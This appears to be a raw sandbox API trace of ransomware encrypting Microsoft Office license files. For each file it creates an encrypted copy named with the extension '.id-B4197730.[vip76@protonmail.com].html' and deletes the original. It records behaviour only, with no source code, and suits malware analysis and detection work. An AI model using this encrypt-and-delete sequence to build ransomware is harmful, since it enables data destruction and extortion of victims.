	[0199.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79
	[0199.301] lstrlenW (lpString=".doc") returned 4
	[0199.301] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0199.301] lstrlenW (lpString=".docx") returned 5
	[0199.301] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0199.301] lstrlenW (lpString=".pdf") returned 4
	[0199.301] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0199.301] lstrlenW (lpString=".xls") returned 4
	[0199.301] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0199.301] lstrlenW (lpString=".xlsx") returned 5
	[0199.301] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0199.301] lstrlenW (lpString=".ppt") returned 4
	[0199.301] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0199.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79
	[0199.301] lstrlenW (lpString=".zip") returned 4
	[0199.301] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0199.301] lstrlenW (lpString=".rar") returned 4
	[0199.302] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0199.302] lstrlenW (lpString=".bz2") returned 4
	[0199.302] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0199.302] lstrlenW (lpString=".7z") returned 3
	[0199.302] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0199.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79
	[0199.302] lstrlenW (lpString=".dbf") returned 4
	[0199.302] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0199.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79
	[0199.302] lstrlenW (lpString=".1cd") returned 4
	[0199.302] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0199.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79
	[0199.302] lstrlenW (lpString=".jpg") returned 4
	[0199.302] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0199.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79
	[0199.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79
	[0199.302] lstrlenW (lpString=".doc") returned 4
	[0199.302] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0199.302] lstrlenW (lpString=".docx") returned 5
	[0199.302] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0199.302] lstrlenW (lpString=".pdf") returned 4
	[0199.302] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0199.302] lstrlenW (lpString=".xls") returned 4
	[0199.302] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0199.302] lstrlenW (lpString=".xlsx") returned 5
	[0199.302] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0199.302] lstrlenW (lpString=".ppt") returned 4
	[0199.302] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0199.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79
	[0199.302] lstrlenW (lpString=".zip") returned 4
	[0199.303] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0199.303] lstrlenW (lpString=".rar") returned 4
	[0199.303] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0199.303] lstrlenW (lpString=".bz2") returned 4
	[0199.303] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0199.303] lstrlenW (lpString=".7z") returned 3
	[0199.303] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0199.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79
	[0199.303] lstrlenW (lpString=".dbf") returned 4
	[0199.303] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0199.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79
	[0199.303] lstrlenW (lpString=".1cd") returned 4
	[0199.303] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0199.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79
	[0199.303] lstrlenW (lpString=".jpg") returned 4
	[0199.303] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0199.303] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0199.303] lstrlenW (lpString="MondoR_Trial-pl.xrm-ms") returned 22
	[0199.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0199.304] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=11139) returned 1
	[0199.304] CloseHandle (hObject=0x514) returned 1
	[0199.304] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-pl.xrm-ms")) returned 0x220
	[0199.304] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0199.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0199.305] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.305] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0199.306] GetLastError () returned 0x0
	[0199.306] ReadFile (in: hFile=0x514, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x2b83, lpOverlapped=0x0) returned 1
	[0199.316] WriteFile (in: hFile=0x368, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x2b90, lpOverlapped=0x0) returned 1
	[0199.318] ReadFile (in: hFile=0x514, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0199.318] WriteFile (in: hFile=0x368, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x100, lpOverlapped=0x0) returned 1
	[0199.318] SetEndOfFile (hFile=0x368) returned 1
	[0199.318] CloseHandle (hObject=0x368) returned 1
	[0199.318] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.318] SetEndOfFile (hFile=0x514) returned 1
	[0199.321] CloseHandle (hObject=0x514) returned 1
	[0199.321] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0199.322] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-pl.xrm-ms")) returned 1
	[0199.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72
	[0199.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72
	[0199.323] lstrlenW (lpString=".doc") returned 4
	[0199.323] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0199.323] lstrlenW (lpString=".docx") returned 5
	[0199.323] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0199.323] lstrlenW (lpString=".pdf") returned 4
	[0199.323] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0199.323] lstrlenW (lpString=".xls") returned 4
	[0199.323] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0199.323] lstrlenW (lpString=".xlsx") returned 5
	[0199.323] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0199.323] lstrlenW (lpString=".ppt") returned 4
	[0199.323] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0199.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72
	[0199.323] lstrlenW (lpString=".zip") returned 4
	[0199.323] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0199.323] lstrlenW (lpString=".rar") returned 4
	[0199.323] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0199.323] lstrlenW (lpString=".bz2") returned 4
	[0199.323] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0199.323] lstrlenW (lpString=".7z") returned 3
	[0199.323] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0199.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72
	[0199.323] lstrlenW (lpString=".dbf") returned 4
	[0199.323] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0199.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72
	[0199.324] lstrlenW (lpString=".1cd") returned 4
	[0199.324] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0199.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72
	[0199.324] lstrlenW (lpString=".jpg") returned 4
	[0199.324] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0199.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72
	[0199.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72
	[0199.324] lstrlenW (lpString=".doc") returned 4
	[0199.324] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0199.324] lstrlenW (lpString=".docx") returned 5
	[0199.324] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0199.324] lstrlenW (lpString=".pdf") returned 4
	[0199.324] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0199.324] lstrlenW (lpString=".xls") returned 4
	[0199.324] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0199.324] lstrlenW (lpString=".xlsx") returned 5
	[0199.324] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0199.324] lstrlenW (lpString=".ppt") returned 4
	[0199.324] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0199.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72
	[0199.324] lstrlenW (lpString=".zip") returned 4
	[0199.324] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0199.324] lstrlenW (lpString=".rar") returned 4
	[0199.324] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0199.324] lstrlenW (lpString=".bz2") returned 4
	[0199.324] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0199.324] lstrlenW (lpString=".7z") returned 3
	[0199.324] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0199.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72
	[0199.325] lstrlenW (lpString=".dbf") returned 4
	[0199.325] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0199.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72
	[0199.325] lstrlenW (lpString=".1cd") returned 4
	[0199.325] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0199.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72
	[0199.325] lstrlenW (lpString=".jpg") returned 4
	[0199.325] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0199.325] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0199.325] lstrlenW (lpString="MondoR_Trial-ppd.xrm-ms") returned 23
	[0199.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0199.326] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=26585) returned 1
	[0199.326] CloseHandle (hObject=0x514) returned 1
	[0199.326] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ppd.xrm-ms")) returned 0x220
	[0199.326] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0199.326] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0199.327] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.327] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0199.327] GetLastError () returned 0x0
	[0199.327] ReadFile (in: hFile=0x514, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x67d9, lpOverlapped=0x0) returned 1
	[0199.332] WriteFile (in: hFile=0x368, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x67e0, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x67e0, lpOverlapped=0x0) returned 1
	[0199.333] ReadFile (in: hFile=0x514, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0199.333] WriteFile (in: hFile=0x368, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x102, lpOverlapped=0x0) returned 1
	[0199.333] SetEndOfFile (hFile=0x368) returned 1
	[0199.333] CloseHandle (hObject=0x368) returned 1
	[0199.334] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.334] SetEndOfFile (hFile=0x514) returned 1
	[0199.339] CloseHandle (hObject=0x514) returned 1
	[0199.339] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0199.339] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ppd.xrm-ms")) returned 1
	[0199.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73
	[0199.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73
	[0199.340] lstrlenW (lpString=".doc") returned 4
	[0199.340] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0199.340] lstrlenW (lpString=".docx") returned 5
	[0199.340] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0199.340] lstrlenW (lpString=".pdf") returned 4
	[0199.340] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0199.340] lstrlenW (lpString=".xls") returned 4
	[0199.340] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0199.340] lstrlenW (lpString=".xlsx") returned 5
	[0199.340] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0199.340] lstrlenW (lpString=".ppt") returned 4
	[0199.341] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0199.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73
	[0199.341] lstrlenW (lpString=".zip") returned 4
	[0199.341] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0199.341] lstrlenW (lpString=".rar") returned 4
	[0199.341] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0199.341] lstrlenW (lpString=".bz2") returned 4
	[0199.341] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0199.341] lstrlenW (lpString=".7z") returned 3
	[0199.341] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0199.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73
	[0199.341] lstrlenW (lpString=".dbf") returned 4
	[0199.341] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0199.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73
	[0199.341] lstrlenW (lpString=".1cd") returned 4
	[0199.341] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0199.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73
	[0199.341] lstrlenW (lpString=".jpg") returned 4
	[0199.341] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0199.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73
	[0199.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73
	[0199.341] lstrlenW (lpString=".doc") returned 4
	[0199.341] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0199.341] lstrlenW (lpString=".docx") returned 5
	[0199.341] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0199.341] lstrlenW (lpString=".pdf") returned 4
	[0199.341] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0199.341] lstrlenW (lpString=".xls") returned 4
	[0199.341] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0199.341] lstrlenW (lpString=".xlsx") returned 5
	[0199.342] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0199.342] lstrlenW (lpString=".ppt") returned 4
	[0199.342] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0199.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73
	[0199.342] lstrlenW (lpString=".zip") returned 4
	[0199.342] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0199.342] lstrlenW (lpString=".rar") returned 4
	[0199.342] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0199.342] lstrlenW (lpString=".bz2") returned 4
	[0199.342] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0199.342] lstrlenW (lpString=".7z") returned 3
	[0199.342] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0199.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73
	[0199.342] lstrlenW (lpString=".dbf") returned 4
	[0199.342] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0199.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73
	[0199.342] lstrlenW (lpString=".1cd") returned 4
	[0199.342] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0199.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73
	[0199.342] lstrlenW (lpString=".jpg") returned 4
	[0199.342] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0199.342] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0199.342] lstrlenW (lpString="MondoR_Trial-ul-oob.xrm-ms") returned 26
	[0199.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0199.343] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=11586) returned 1
	[0199.343] CloseHandle (hObject=0x514) returned 1
	[0199.343] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ul-oob.xrm-ms")) returned 0x220
	[0199.343] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0199.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0199.344] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.344] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0199.345] GetLastError () returned 0x0
	[0199.345] ReadFile (in: hFile=0x514, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x2d42, lpOverlapped=0x0) returned 1
	[0199.596] WriteFile (in: hFile=0x554, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x2d50, lpOverlapped=0x0) returned 1
	[0199.597] ReadFile (in: hFile=0x514, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0199.597] WriteFile (in: hFile=0x554, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x108, lpOverlapped=0x0) returned 1
	[0199.597] SetEndOfFile (hFile=0x554) returned 1
	[0199.597] CloseHandle (hObject=0x554) returned 1
	[0199.597] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.597] SetEndOfFile (hFile=0x514) returned 1
	[0199.600] CloseHandle (hObject=0x514) returned 1
	[0199.600] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
